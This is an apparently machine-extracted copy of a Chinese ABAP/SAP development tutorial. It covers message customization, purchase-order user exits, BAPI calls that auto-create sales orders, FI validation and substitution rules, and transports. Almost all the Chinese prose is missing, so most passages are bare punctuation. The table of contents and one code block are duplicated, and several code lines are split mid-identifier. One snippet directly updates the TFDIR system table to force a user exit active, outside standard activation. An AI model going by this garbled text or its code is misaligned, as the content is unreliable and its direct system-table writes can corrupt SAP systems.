Vous êtes sur la page 1sur 59

ABAP

..............................................................................................................................2
..............................................................................................................................3
1. ABAP ?.........................................................................................................3
2.ABAP ............................................................................................6
3. Access Key .......................................................................................................6
4.ABAP workbench ABAP dictionary.....................................................................6
5.-Hello World..........................................................................................7
6.ABAP ........................................................................................................7
7.Open SQL Native SQL.........................................................................................8
8.............................................................................................................8
9.............................................................................................................8
10...............................................................................................................8
11...................................................................................................................8
12...........................................................................................8
13.......................................................................................................8
14.........................................................................................................14
15.............................................................................14
16.................................................................................................................14
17.................................................................................................14
18. Tcode.............................................................................................................15
............................................................................................................................15
1.CATT.......................................................................................................................15
2.BDC.........................................................................................................................15
3. background job....................................................................................15
4.SapScript..................................................................................................................15
5.Smartform................................................................................................................15
6.SAP Query...............................................................................................................15
7.ALV ................................................................................................................15
8.ALE/iDoc.................................................................................................................15
9.Report painter Drilldown Report.........................................................................15
10.RFC/BAPI..............................................................................................................15
11.........................................................................................................15
12. ABAP ...............................................................................................15
13.................................................................................................................16
14.................................................................................................17
............................................................................................................................17
1.MM ..................................................................................................17
.MM ............................................................................17
.................................................................................................................18
1.MM ...............................................................................................18
2.PO .........................................................................................................18
SE11 ZPOSO.............................................................................................21
PO User_exit.............................................................................................................21
3....................................................................................................30
4....................................................................................................30

5........................................................................................................30
6........................................................................................................30
7.GR/IR ............................................................................................................30
8........................................................................................................30
2.SD ....................................................................................................30
3.PP ....................................................................................................31
4.FI .....................................................................................................31
1........................................................................................................31
2.(Validation)................................................................................31
3.(Substitution).............................................................................37
4.BKPF|BSEG .................................................................................................46
5.Dunning ........................................................................................................46
6................................................................................................................46
7................................................................................................................................46
8................................................................................................................................46
5.CO . .................................................................................................47
6.Basis ...............................................................................................47
1........................................................................................................47
2................................................................................................48
3. SAP ......................................................................................48
4................................................................................................51
.....................................................................................................57
:..................................................................................................................................58
1.ABAPer Tcode................................................................................................58
ABAPer Tcode..........................................................................................................58

SAP ,, SAP , SAP


,,
,.
,, SAP
, , SAP .
SAP ,, SAP
,,, SAP ,
,?,,
? 97 2000
,. SAP ,,
, SAP
,,,
.
SAP , SAP
, SAP .,
, ABAP ,,
,,.

,,,
ABAP ,(MM|SD|PP|FI|CO)
ABAPer .
10 ERP ,
(, N ). 2004 SAP,
,,
ABAP ,.
,,.

.
ABAP ,,, ABAP
,,.
1. ABAP ?
ABAP ,ABAP
, SAP
,ABAP(Advanced Business Application Programming->)
SAP AG .
,ABAP/4 , client/server
,, Visiual Studio ,VB,VC++.ABAP
.
1-1, SAP ,(),
SAP DB instance server, Central instance
Application server( SAP ),
SAP Logon Front End,SAP ,
TCP/IP,SAP RFC ,
.
Delphi , ABAP ,,
,,,, native Open SQL (
),SAP ()
.

1-2 SAP Logon ,[1](


),[2]System number,,
, system number00, system number
01, system number physical server application
server.

ABAP , SAP ,,
.
ABAP/4 :
1. SAP ,,, SAP ,.
ABAP Crystal report Tool .
2. VB ,ABAP , VB, ABAP ,
SAP ,ABAPer .
(/H),
. VB ,VB

ABAP , ABAP ,
. .
ABAP ,
ABAP/4 ,
,( ABAP Dumping ABAP).
3., SQL( native sql,
, SQL DB ),SAP ABAP
Open SQL .
4. Windows ,Windows
,ABAP , Dialog , ABAP
,().
5.,ABAP , SAP
,.
6. Java,ABAP (Java Java ,ABAP
ABAP processor),( ABAP
, ABAP ),
.
1-3 ABAP .

1 C|C++ ABAP , ABAP source code SAP AG


.
ERP , ERP
ERP ,.
ERP ERP , ERP ,
ERP (),
.
2 ABAP ,?,,
()

),SAP ABAP , Cluster table, Pooled


table Logical database ,.
2.ABAP
ABAP , ABAP ,
, unix Cobar , .
, C++ ABAP ,
.,SAP ,
ERP , IT , XX
Route , XX , XX , XX
,,,SAP ,
.
,ABAP SAP ,
ABAP, SAP( R/3,miniSAP, IDES),
( SAP ,,
), ABAP .
ABAP ABAPer , ABAPer
,
3. Access Key .

4.ABAP workbench ABAP dictionary

5.-Hello World.

ABAP ?,Hello World


ABAP , ABAP ABAP ,
1.5-1.

:
Report ZHELLO.
Write Hello World!.
F8 , Hello World!,,.

6.ABAP

7.Open SQL Native SQL


8.
9.
10.
11.
12.
13.
PO,SO output message( ABAP
),,.

1 ( 7-7).
Tcode SE91 , 7-7
ZFIMSG, 017 &
2 .
1.TitleMESSAGE-ID.
REPORT ZMSGTEST MESSAGE-ID ZFIMSG .
MESSAGE I017.
IMG ,[1][2] appl work area
message_id(SE91:message class).

2. Title .
REPORT ZMSGTEST .
MESSAGE I017(ZFIMSG).
1. .
REPORT ZMSGTEST .
MESSAGE I017(ZFIMSG) with Var1 Var2 Var3 .

MESSAGE ID ' ZFIMSG ' TYPE 'I' NUMBER '0171' with Var1 Var2
Var3 .
017 , With ,.
4.SAP .
I: W: E: S: A: Tcode X:.
5. SAP ,,,.
PROGRAM ZMSGTEST .
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
Tcode OBA5 , SYMSGTY ,E ,A .
, PERFORM MESSAGE_SEND .
3Tcode.
,Application AreaSE91Message Class.
1table:
T100: SAP.
T160M :MM,.,MM
SE16.
T100C: FI,OBA5, OFMG
,CO.
T100S: ,KI 005
OBA5.(MM,M7,OMCQ
,M3,OMT4)
.T160M,SE16T100S
.Display.
T100U: ,.
T100W: For Workflow
2Tcode():
FI: OBA5|OFMG|OFPM
MM: OMRM|OKZZ|OMT4|OMCQ |O04C|
SD: OVAH
CO: OPR4_ACT|OPR4_CK|OPR4_CKML|OPR4_CKPF|OPR4_KKA|OPR4_KKP|
OPR4_KKS|
OPR4_KKS1|OPR4_PPCOPP
Others:
OPR5|OPR1|OPR3|OPR6|OPR7|OPR8|OPR9|OPRCMFE|MSW1|MSW2
3.

[Case 1].
CK11N(CK40N),Component.

OPR4_CKSwitch Off(Tcode OKKN->Misc.->Error


Management).
***componentCost 1 ViewDo not
Costing.
,,,
,,BOM,
,.(CK11N,
).SAPprice0.01,price unit100.
[Case 2].
(1)S price control.SAPWarning(Tcode :OMT4 M3-132,
,W.
(2)V price control,OMT4M3-131,Warning,
SAP,SAP
..
***SE16:T160MMM.
:[1]SE38LMG11F01 [2] [3]0()
,.

S Price control(,T160MIMG).

4.
,,,
,.
,,,.
5 .
SAP
1 T160M SE16 ,
T160M.(
ME_CHECK_T160M), MESSAGE E017(ZFIMSG)Hard code

,,,
T160M ( E W ).

2T100C,SE16:T100CV_T100C.
(1)SE16:T100S.
[1].(browse)

..
[1]Appl AreaZFIMSG. [2] [3].

(2)SE16:V_T100C.
:
[1](Tcode)[2]BDC
[3],(T100C)

MESSAGE E017(ZFIMSG)

CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'


EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
SY-MSGTY.
6
PO,PO release,User-exit:
(1)
EXIT_SAPMM06E_017,SMOD enhancement name :MM06E005
(2).

*&---------------------------------------------------------------------*
*& Include
ZXM06U42
*
*&---------------------------------------------------------------------*
DATA : ZWATEKPO like BEKPO ,
ZIEINFO LIKE EINFO OCCURS 0 WITH HEADER LINE,
ZERMSG(73) TYPE C.
TABLES EKBE .
***TEKPO records all the old PO item date .
*** I_EKPO records currently processed PO item .
READ TABLE TEKPO INTO ZWATEKPO WITH KEY EBELP = I_EKPOEBELP .
***ME22N.
CHECK SY-TCODE = 'ME22N '.
***EKBEPO history ,Q,R,##
SELECT SINGLE * FROM EKBE
WHERE EBELN = I_EKPO-EBELn
AND EBELP = I_EKPO-EBELP
AND ( BEWTP = 'Q' OR BEWTP = 'R').
CHECK SY-SUBRC = 0 .

***SY-SUBRC =0
##
IF I_EKPO-NETPR <> ZWATEKPO-NETPR .
*** Change e017(ZFIMSG) accordingly
* MESSAGE e017(ZFIMSG).".
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
CHECK SY-MSGTY NE '-' .
REFRESH ZIEINFO.
ZIEINFO-MSGID = 'ZFIMSG'.
ZIEINFO-MSGNO = '017' .
ZIEINFO-MSGV1 = 'VAR1'.
ZIEINFO-MSGV2 = 'VAR2'.
APPEND ZIEINFO .
CALL FUNCTION 'MESSAGE_GET_TEXT'
EXPORTING
IEINFO = ZIEINFO
ILANGU = SY-LANGU
IMPORTING
ETEXT = ZERMSG .
MESSAGE ZERMSG TYPE SY-MSGTY .
ENDIF.
***,SAP
.,.

14.

15.
16.
17.

18. Tcode

..
1.CATT

2.BDC
3. background job
4.SapScript
5.Smartform
6.SAP Query
7.ALV
8.ALE/iDoc
9.Report painter Drilldown Report
10.RFC/BAPI
11.

12. ABAP
ABAP .

13.
, basis
ABAPer ,,.
,()(,
server client, ABAPer ),
,,( server,
Client System Number Server),.
:
1 (Development Class).
ABAP ,
. ABAP , SE80 .
$TMP , ABAP (,
Client Client.
.
2.(Package)
ABAP ,SE16:TADIR
ABAP ,.
TDEVC , SE80 SM30:V_TDEVC.
.
1.( Java package)
2.,
(Private object), OOP .
3..
4. Y Z , ABAP (
ABAP ). A-S, U-X SAP ,T ,$
,/***.
3.(Transport Layer)
.
,,,.
..
IMG .
basis Tcode STMS .
2.13-1, DVU QAS PRD ,
DVU server client 210,100 QAS Client 310 ,
PRD Client 800,810 820 .

4.
server ? client server
?,.
TP R3TRANS ,R3TRANS SAP Client
,TP (Transport Profile)
R3TRANS .

14.
VB,Delphi,Java ,,
?

.
,,
8 ,
,,
., SAP
,,,.
1.MM .
.MM

.
MM ().
||PR,PO (Scrip Smartform)|MRB ||
||||IQC |Pull List|(
)||Delivery notes|Packing List|RMA ||PO |
GR/IR ||.

( ABAPer
SAP ),, PO
,.
,,,
(
),.
1.MM
PO
NACE,MB04 PO.
2.PO
PO change history
*&---------------------------------------------------------------------*
*& Include
ZXM06U42
*
*&---------------------------------------------------------------------*
DATA : ZWATEKPO like BEKPO ,
ZIEINFO LIKE EINFO OCCURS 0 WITH HEADER LINE,
ZERMSG(73) TYPE C.
TABLES EKBE .
***TEKPO records all the old PO item date .
*** I_EKPO records currently processed PO item .
READ TABLE TEKPO INTO ZWATEKPO WITH KEY EBELP = I_EKPO-EBELP .
*** ME22N .
CHECK SY-TCODE = 'ME22N '.
***EKBE PO history , Q,R ,##
SELECT SINGLE * FROM EKBE
WHERE EBELN = I_EKPO-EBELn
AND EBELP = I_EKPO-EBELP
AND ( BEWTP = 'Q' OR BEWTP = 'R').
CHECK SY-SUBRC = 0 .
*** SY-SUBRC =0 ##
IF I_EKPO-NETPR <> ZWATEKPO-NETPR .
*** Change e017(ZFIMSG) accordingly
* MESSAGE e017(ZFIMSG).".
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''

I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
CHECK SY-MSGTY NE '-' .
REFRESH ZIEINFO.
ZIEINFO-MSGID = 'ZFIMSG'.
ZIEINFO-MSGNO = '017' .
ZIEINFO-MSGV1 = 'VAR1'.
ZIEINFO-MSGV2 = 'VAR2'.
APPEND ZIEINFO .
CALL FUNCTION 'MESSAGE_GET_TEXT'
EXPORTING
IEINFO = ZIEINFO
ILANGU = SY-LANGU
IMPORTING
ETEXT = ZERMSG .
MESSAGE ZERMSG TYPE SY-MSGTY .
ENDIF.

PO SO

..............................................................................................................................2
..............................................................................................................................3
1. ABAP ?.........................................................................................................3
2.ABAP ............................................................................................6
3. Access Key .......................................................................................................6
4.ABAP workbench ABAP dictionary.....................................................................6
5.-Hello World..........................................................................................7
6.ABAP ........................................................................................................7
7.Open SQL Native SQL.........................................................................................8
8.............................................................................................................8
9.............................................................................................................8
10...............................................................................................................8
11...................................................................................................................8
12...........................................................................................8
13.......................................................................................................8
14.........................................................................................................14
15.............................................................................14
16.................................................................................................................14
17.................................................................................................14
18. Tcode.............................................................................................................15
............................................................................................................................15
1.CATT.......................................................................................................................15
2.BDC.........................................................................................................................15
3. background job....................................................................................15
4.SapScript..................................................................................................................15
5.Smartform................................................................................................................15

6.SAP Query...............................................................................................................15
7.ALV ................................................................................................................15
8.ALE/iDoc.................................................................................................................15
9.Report painter Drilldown Report.........................................................................15
10.RFC/BAPI..............................................................................................................15
11.........................................................................................................15
12. ABAP ...............................................................................................15
13.................................................................................................................16
14.................................................................................................17
............................................................................................................................17
1.MM ..................................................................................................17
.MM ............................................................................17
.................................................................................................................18
1.MM ...............................................................................................18
2.PO .........................................................................................................18
SE11 ZPOSO.............................................................................................21
PO User_exit.............................................................................................................21
3....................................................................................................30
4....................................................................................................30
5........................................................................................................30
6........................................................................................................30
7.GR/IR ............................................................................................................30
8........................................................................................................30
2.SD ....................................................................................................30
3.PP ....................................................................................................31
4.FI .....................................................................................................31
1........................................................................................................31
2.(Validation)................................................................................31
3.(Substitution).............................................................................37
4.BKPF|BSEG .................................................................................................46
5.Dunning ........................................................................................................46
6................................................................................................................46
7................................................................................................................................46
8................................................................................................................................46
5.CO . .................................................................................................47
6.Basis ...............................................................................................47
1........................................................................................................47
2................................................................................................48
3. SAP ......................................................................................48
4................................................................................................51
.....................................................................................................57
:..................................................................................................................................58
1.ABAPer Tcode................................................................................................58
ABAPer Tcode..........................................................................................................58
*** Sales order PO function
BAPI_CREATE_PO creating SO User_exit

SE11 ZPOSO
ZPOSO ,
1. PO SO
2. PO create change ( ME22N update PO qty,or delete PO
line.)
3.
*** EBELN EBELP key fields DB Primary key

PO User_exit
EXIT_SAPMM06E_001 (002,004,006,007,009) 006 PO create .
EXIT_SAPMM06E_016, 017 PO item PO No..
EXIT_SAPMM06E_009, PO refresh .
EXIT_SAPMM06E_013
update TFDIR MAND C.:
REPORT Zupdate .
data ztfdir like tfdir occurs 0 with header line .
select * from tfdir into table ztfdir where FUNCNAME =
'EXIT_SAPMM06E_013'.
loop at ztfdir .
ztfdir-MAND = 'C' .
modify ztfdir index sy-tabix TRANSPORTING MAND.
endloop.
update tfdir from ztfdir.

*** Work area ,


.
REPORT ZTEST11 .
data ztfdir like tfdir .
select single * from tfdir into ztfdir where FUNCNAME =
'EXIT_SAPMM06E_013'.
ztfdir-MAND = 'C' .
update tfdir from ztfdir.
*** LSMODU23(Function: MODX_FUNCTION_ACTIVE_CHECK
PO user_exit)
SE37 : MODX_FUNCTION_ACTIVE_CHECK
.
TFDIR(Function Module ) MAND =AKTIV_FLAG (
C) call User_exit
: EnhancementMODSAP,
MODSAPEnhancement, TFDIRenhancement,
MANDC
1.
2.
3.

E Enhancement exits : User_exit


C GUI codes
3. S Subscreens

OK, coding, search MODSAP EXIT_SAPMM06E_013 Enhancement


MM06E005 .
T-code :SMOD F8 test EXIT_SAPMM06E_013 , enhancement
name exit ,. SMOD Enhancement
ZPOSO , function , enhancement,
code update .

code user_exit ,.
, user_exit BAPI . BAPI call
.

EXIT_SAPMM06E_013 include ZXM06U44


coding SE37 test BAPI :BAPI_SALESORDER_CREATEFROMDATA
*** fields status .
ORDER_HEADER_IN

ORDER_ITEMS_IN MATERIAL,REQ_QTY(Order qty in sales units 00009001 corresponds to 9.001, call BAP REQ_QTY = actual qty *
1000)
, COND_TYPE, COND_VALUE,( price /10,
,)
PO_METH_S(Ship-to party purchase order type,),

ORDER_PARTNERS SP SH , SP customer No
, ship-to-party SH+customer No..

. AGSP, REBP
SH (SAP case, save DB display
, , , SAP DB table ,
SAP AG )

OK. coding on ZXM06U44, Source code ,log ZPOSO .

BAPI_SALESORDER_CHANGE
call BAPI_SALESDOCUMENT_CHANGE
ORDER_HEADER_INX-UPDATEFLAG U update, D Delete
sales order,.

Source Code(, OK, SAP


) .
*----------------------------------------------------------------------*
* INCLUDE ZXM06U44
* company 1000POSO in 1000PO in 2000
*
* call .
*----------------------------------------------------------------------*
data:
ZORDER_HEADER_IN like BAPISDHEAD ,
ZORDER_ITEMS_IN like BAPIITEMIN occurs 0 with header line ,
ZORDER_PARTNERS like BAPIPARTNR occurs 0 with header line ,
ZSALESDOCUMENT like BAPIVBELN-VBELN ,
ZRETURN like BAPIRETURN .
Data:
ZPOHEADER like BAPIEKKOC ,
ZPOITEMS like BAPIEKPOC occurs 0 with header line,
ZPO_ITEM_SCHEDULES like BAPIEKET occurs 0 with header line,
ZPURCHASEORDER like BAPIEKKOC-PO_NUMBER .
tables :ZPOSO .
data zposolog like zposo occurs 0 with header line.
data : Zrepcall(1) type C. "BAPI_PO_CREATE.
Refresh : ZORDER_ITEMS_IN .
*** I_EKKO-EBELN(EBELN-PO No.plant)
*** 1.I_EKKO-EBELN5case
*** 2.I_EKKO-BUKRS(comp. code)XEKPO-WERKS(plant)
*** company code 2000HK .
*if I_EKKO-BUKRS <> '1000'.

* exit.
*endif.
check I_EKKO-BUKRS eq '1000'. "comp 1000.
***ZPOSOPO no.call BAPI_SALESORDER_CREATEFROMDATA
create SO
*** call BAPi BAPI_SALESORDER_CHANGE change SO.
***ME22N change POXEKPOline item
.
select single * from ZPOSO where EBELN eq I_EKKO-EBELN.
if sy-subrc eq 0 .
* Change Sales Order,Purchase Order
*CALL FUNCTION 'BAPI_SALESORDER_CHANGE'
*CALL FUNCTION 'BAPI_PO_CHANGE'
else . "Purchase Order Sales Order
*** ZFLAGZrepcallT,
**ZrepcallT.
**
**comp 1000POSOcomp 2000PO
*select single Zrepcall into Zrepcall from zflag .
if Zrepcall = 'T' .
exit .
endif.
***POuser_exit 001ZflagzrepcallF
***update zflagzrepcallT.
***----------------------------------------------***
*** Purchase Order in company 2000
***
***----------------------------------------------***
***----------------------------------------------***
*** Sales Order in same company 1000
***
***----------------------------------------------***
***ZORSales order
***----Sales Order Header --- ***
ZORDER_HEADER_IN-DOC_TYPE = 'ZOR'.
ZORDER_HEADER_IN-SALES_ORG = '1100'.
ZORDER_HEADER_IN-DISTR_CHAN = '11'.
ZORDER_HEADER_IN-DIVISION = '11'.
ZORDER_HEADER_IN-CURRENCY = I_EKKO-WAERS. "Order currency
ZORDER_HEADER_IN-PURCH_NO = I_EKKO-EBELN .
***---Purchase Order Header ---***
ZPOHEADER-PURCH_ORG = I_EKKO-EKORG. "2000

ZPOHEADER-PUR_GROUP = I_EKKO-EKGRP . "comp2000

ZPOHEADER-CO_CODE = '2000' .
ZPOHEADER-VENDOR = I_EKKO-LIFNR .

ZPOHEADER-DOC_TYPE = 'NB' . "I_EKKO-BSART.


***PO itemSO itemPO items
loop at XEKPO .
***----SO items ---***
ZORDER_ITEMS_IN-ITM_NUMBER = XEKPO-EBELP .
* PO item NOSO item No,PO,SO itemmanual input.
ZORDER_ITEMS_IN-MATERIAL = XEKPO-MATNR.
"'08K2555'.
ZORDER_ITEMS_IN-REQ_QTY = XEKPO-MENGE .
ZORDER_ITEMS_IN-REQ_QTY = ZORDER_ITEMS_IN-REQ_QTY *
1000 .
* Call SO BAPIQty 1000.ABAP
ZORDER_ITEMS_IN-COND_TYPE = 'ZPR1'. "ZPR1ESTprice
cond.
ZORDER_ITEMS_IN-COND_VALUE = XEKPO-NETPR.
ZORDER_ITEMS_IN-COND_VALUE = ZORDER_ITEMS_IN-COND_VALUE
/ 10 .
*Call SO BAPI testPrice/10
ZORDER_ITEMS_IN-PO_METH_S = '010' . ",EST
.
Append ZORDER_ITEMS_IN .
***---PO items,POPONo---***
ZPOITEMS-PUR_MAT = XEKPO-MATNR.
ZPOITEMS-PLANT = XEKPO-WERKS .
ZPOITEMS-NET_PRICE = XEKPO-NETPR.
***test,XEKET,shedules delivery date item.

ZPO_ITEM_SCHEDULES-DELIV_DATE = SY-DATUM . " XEKET-EINDT


ZPO_ITEM_SCHEDULES-QUANTITY = XEKPO-MENGE .
append ZPOITEMS .
append ZPO_ITEM_SCHEDULES .
endloop.
***SP-Sold_to_PartySH-Ship_to_Party.
***AG-SP:sold_to WE:SH Shipping-to,BAPISP,call
***PO vendor noSO customer no,.
ZORDER_PARTNERS-PARTN_ROLE = 'AG'.
ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.
***HKPOSO customerSZ.
Append ZORDER_PARTNERS .
ZORDER_PARTNERS-PARTN_ROLE = 'WE'.

ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.
Append ZORDER_PARTNERS .
CALL FUNCTION 'BAPI_SALESORDER_CREATEFROMDATA'
EXPORTING
ORDER_HEADER_IN
= ZORDER_HEADER_IN
IMPORTING
SALESDOCUMENT
= ZSALESDOCUMENT
* SOLD_TO_PARTY
=
* SHIP_TO_PARTY
=
* BILLING_PARTY
=
RETURN
= ZRETURN
TABLES
ORDER_ITEMS_IN
= ZORDER_ITEMS_IN
ORDER_PARTNERS
= ZORDER_PARTNERS
* ORDER_ITEMS_OUT
=
* ORDER_CFGS_REF
=
* ORDER_CFGS_INST
=
* ORDER_CFGS_PART_OF
=
* ORDER_CFGS_VALUE
=
* ORDER_CFGS_BLOB
=
* ORDER_CCARD
=
.
if ZSALESDOCUMENT <> '' .
loop at XEKPO .
zposolog-ebeln = I_EKKO-EBELN. "PO No.
zposolog-ebelp = XEKPO-EBELP. "PO item No.
zposolog-vbeln = ZSALESDOCUMENT."SO No.
zposolog-posnr = XEKPO-EBELP . "SO Item NO.
zposolog-waers = I_EKKO-WAERS . "Currency
zposolog-matnr = XEKPO-MATNR . "Material
zposolog-kwmeng = XEKPO-MENGE. "PO/SO qty
zposolog-netpr = XEKPO-netpr. "PO/SO price
zposolog-bapimsg = 'Creation OK' . "ZRETURN-MESSAGE .
zposolog-flag = 'T'. "Failure
append zposolog .
insert ZPOSO
from zposolog.
endloop.
else.
zposolog-ebeln = I_EKKO-EBELN.
* zposolog-bapimsg = ZRETURN-MESSAGE .
***SE91messagemessage type, messge code,message
text
concatenate ZRETURN-TYPE '--' ZRETURN-CODE '--:' ZRETURNMESSAGE into
zposolog-bapimsg .

zposolog-flag = 'F'. "Failure


append zposolog .
insert ZPOSO from zposolog.
endif.
***----------------------PO--------------------*** call.
*** ZFLAG, , Zrepcall,defaultF,
CALL FUNCTION 'BAPI_PO_CREATE'
EXPORTING
PO_HEADER
= ZPOHEADER
* PO_HEADER_ADD_DATA
=
* HEADER_ADD_DATA_RELEVANT
=
* PO_ADDRESS
=
* SKIP_ITEMS_WITH_ERROR
= 'X'
* ITEM_ADD_DATA_RELEVANT
=
IMPORTING
PURCHASEORDER
= ZPURCHASEORDER "
TABLES
PO_ITEMS
= ZPOITEMS
* PO_ITEM_ADD_DATA
=
PO_ITEM_SCHEDULES
= ZPO_ITEM_SCHEDULES
* PO_ITEM_ACCOUNT_ASSIGNMENT
=
* PO_ITEM_TEXT
=
* RETURN
=
* PO_LIMITS
=
* PO_CONTRACT_LIMITS
=
* PO_SERVICES
=
* PO_SRV_ACCASS_VALUES
=
* PO_SERVICES_TEXT
=
* PO_BUSINESS_PARTNER
=
* EXTENSIONIN
=
* POADDRDELIVERY
=
.
Endif. "Purchase Order Sales Order

VB Call BAPI_CREATE_PO PO , SE37


, PO . vendor 10 ,
, 0
tvendor = Mid("0000000000", 1, 10 - Len(Trim(VENDOR.Text))) +
Trim(VENDOR.Text)
vendor length<10 10 ,
poheader.Value("VENDOR") = tvendor

poheader.Value("PURCH_ORG") = "1000" 'Trim(Text2.Text)


poheader.Value("PUR_GROUP") = "111" ' Trim(Text3.Text)
poheader.Value("DOC_TYPE") = "NB" 'Trim(Text4.Text)
poitems.Rows.Add
poitems.Value(1, "PUR_MAT") = "C-010" ' Trim(Text5.Text)
poitems.Value(1, "PLANT") = "1100" 'Trim(Text6.Text)
poitems.Value(1, "NET_PRICE") = "222" ' Trim(Text7.Text)
poitemschedule.Rows.Add
poitemschedule.Value(1, "DELIV_DATE") = "2005/08/16" 'Text8.Text
poitemschedule.Value(1, "QUANTITY") = "888" ' Text9.Text

3.

4.
5.

6.
7.GR/IR
8.
LIS
2.SD .
SD :
SD ( SD ).
||Credit Note Form|Shipping Note|Sales Forecast|
Dunning Letter|Shipment Status|Packing List|.

SD ,.
1.
2.

3.
4.
5.
6.
7.
8.

3.PP .
PP :
SD ( SD ).
||Credit Note Form|Shipping Note|Sales Forecast|
Dunning Letter|Shipment Status|Packing List|.

SD ,.
1.MD04 save Prod PR
2.
3.
4.
5.
6.
7.
8.
4.FI .

1.
2.(Validation)
HR,AP,AP,GL,Consolidation,Real Estate,Special Purpose Ledger
(Validation) Validation
, Validation (
)(), ABAP
.
Validation,Substitution User Exit
.

*** Validation cost center Functional Area(


Functional Area ),
Cost center .
Validation IMG T-code : OB28:AP/AR/GL Doc.| OAZ1:AM Posting|
GCVW:Global Validation(In SPL,Company Level)|GCVV:Local Validation(In SPL,
Company code Level).

OB28 , Validation .(IMG Path 7-1 1)


[1].
[2].

Validation :
Line Validation STLINE STONEF 5100( HKD)
1000HKD , Validation .
***.

1. Callup Point Validation Name( 7-2).


[1]1. 2. 3.,
Enter .
[2] Validation F2 ( 7-3)

[3]1 Validation .
2.Validation ( 7-3).

[1] Validation, Validation 7-2 New entries .


[2] Step, Step ,. 7-3 Step001
Company code 5100(Local Currency HKD) User STONEF,
1000HKD, ZFIMSG 017(
).
***Validation .
[3]RuleValidation,Substitution,Report Write SelectionATP check,,
Rule,PrerequisitecheckRuleZRULE1(7-4)ZRULE2(.BSEG-DMBTR <= '1000.00'),7-2,
ruleSubstitution(8),.
rule(STONEF
2000),ruleValidation,Substitution.

7-5 Rule 7-3 ABAP code .

***Rule Rule, ZRULE3 ZRULE1 and


.

[4]Header Validation BKPF .


[5]Item Validation BKPF BSEG, Check BSEG ,
.
*** BKPF-BUKRS,Check BKPF-USNAM,
Validation.

.
[6], Doc Header,Item .
[7]([2]).
[8]([2]).
[9]SAP , PO ,
,().

7-6.
[1]E ,,I,W ,
, A, Tcode .
[2] Tcode:SE91 Message Class( 7-7).

[3]. 017 (&),&


&.
[4]..
7-8 STONEF FB50 ,Local currency amount>1000
(Validation ZSTLINE ,& BKPF-USNAM
BSEG-DMBTR ),, Amount >1000,
.
1.ZSTLINE USER STONEF ,
STONE FB50 F-53 1000HKD,
Tcode FB50 Validationi FB50 .
2. Tcode FB50 Validation,, SAP
,,
Validation IMG /O FB50( Tcode).
3..

3. Validation .( 7-9)

[1] Prerequisite Check .


[2]

[3] line Validation,BKFF,BSEG,SYST( By Tcode SYST-TCODE


).
[4] rule Prerequisite Check( 7-5).
[5] User Exit Prerequisite Check.( 8 ).
[6].
[7] Constant().
1.,Validation ? , SE37 Function
FI_VALIDATION_HEADER FI_VALIDATION_ITEM ,
.
, Table T001D| GBTDMFI0|RGUGBR00,
.
2., Validation Steps, Line Validation
Steps-STEP1 Step2, Prerequisite :BKPF-BUKRS = 5100,
Check ,Step1 check BSEG-DMBTR <=1000. Step2-check
BSEG-DMBTR > 1000,?

3.(Substitution)
Validation ,,IMG Path(IMG Path 7-1
2).
Substitution IMG T-code : OBBH:AP/AR/GL Doc.| OACS:AM Create
Assets|OA02:Mass change Assets|GCVY:Global Substitution(In SPL,Company
Level)|GCVX:Local Substitution(In SPL,Company code Level).
Validation ,Validation ,,Substitution
, user_exit .

APAR vendor,customer
Assignment(BSEG-ZUONR), P&L
TEXT(BSEG-SGTXT),.
5100 , 10010120 ,
Text(BSEG-SGTXT),, post ,
post Posting Date .

, 7 Validation ,
,,.
1. .
Tcode:GCX2. ( 9-2)
[1]App. Area GBLS
[2] ZSTSUB(Copy SAP RGGBS000)
*** 8 , OBBH 8 .

.
GB01|T001Q|T80D|GB03|GB03T|GB31|GB31T||GB907|GB90|GB92|
GB922|GB901
|OXT_GENOBJDTL|, FI_SUBSTITUTION_ACTIVE|FI_SUBSTITUTION_DOC
|FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM. ZSTSUB()|
GBTDMFI0| GBTDMFIJ|RGUGBR00
*** GCX2 RGGBS000 Access Key, GCX1
Client , SPL Field movement .

2.
Validation , Step, Step ( 9-3).

[1],.
[2].
[3]
***, only exit U100( ZSTSUB U100) line item
Text.

[4]. ( Form ).
[5].

ZSTSUB Form U100 source code ,, Text


Record Payment Text.

FORM u100.
"#EC CALLED
***U100 line item. XBLNR .
***U100headerline item,.
BKPF-XBLNR = 'Reference For STONE Test'.
BSEG-SGTXT = 'Record Payment Text ' .
ENDFORM.

:
:
1 ,?
2 ZSTSUB(), SAP RGGBS000, RGGBS000 Form
(header,Line,Complete doc) Exit ,
field exit,header exit,line exit complete exit?

FORM get_exit_titles TABLES etab,.


c_exit_param_none, c_exit_param_fieldc_exit_param_class
exits-name = 'U100'.
exits-param = c_exit_param_none. Field exit,only exit
exits-title = text-100.
APPEND exits.
exits-name = 'U101'.
exits-param = c_exit_param_field.Formexit
exits-title = text-101.
APPEND exits.
exits-name = 'U801'.
exits-param = c_exit_param_class.
Form U801Callup point 3 complete doc.
exits-title = text-101.
"Cost center from CSKS
APPEND exits.

3 BKPF,BSEG ?
4

, 3,4 .
FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM|ZSTSUB()|
GBTDMFI0| GBTDMFIJ . ,
,
.

:. posting date
,..
1 BKPF-BUDAT
,. 9-6.
[1] only exit U100, field exit . [2]BKPF-BUDAT .

*** BCLTAB BCLFIELD BKPF,BSEG


.
1 GB01 , BUDAT .
GB01 , SE16 GB01,
, SE11 GB01 ,
.
Report ZMODGB01.
DATA ZGB01 LIKE GB01 .
SELECT SINGLE * INTO ZGB01 FROM GB01
WHERE BOOLCLASS = '008'
AND CLASSTYPE = 'S'
AND BCLTAB = 'BKPF'
AND BCLFIELD = 'BUDAT' .
* AND BCLTAB = 'BSEG'
